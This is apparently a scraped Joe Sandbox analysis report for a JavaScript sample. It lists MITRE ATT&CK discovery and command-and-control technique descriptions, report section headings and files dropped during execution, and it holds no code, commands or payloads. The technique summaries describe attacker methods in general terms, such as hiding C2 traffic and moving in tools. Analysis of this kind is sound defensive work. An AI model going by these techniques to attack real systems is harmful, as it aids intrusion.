Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 200475024256003612.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8da05432-0915-4694-8fc5-58cd571c6092.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6172

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
200475024256003612.js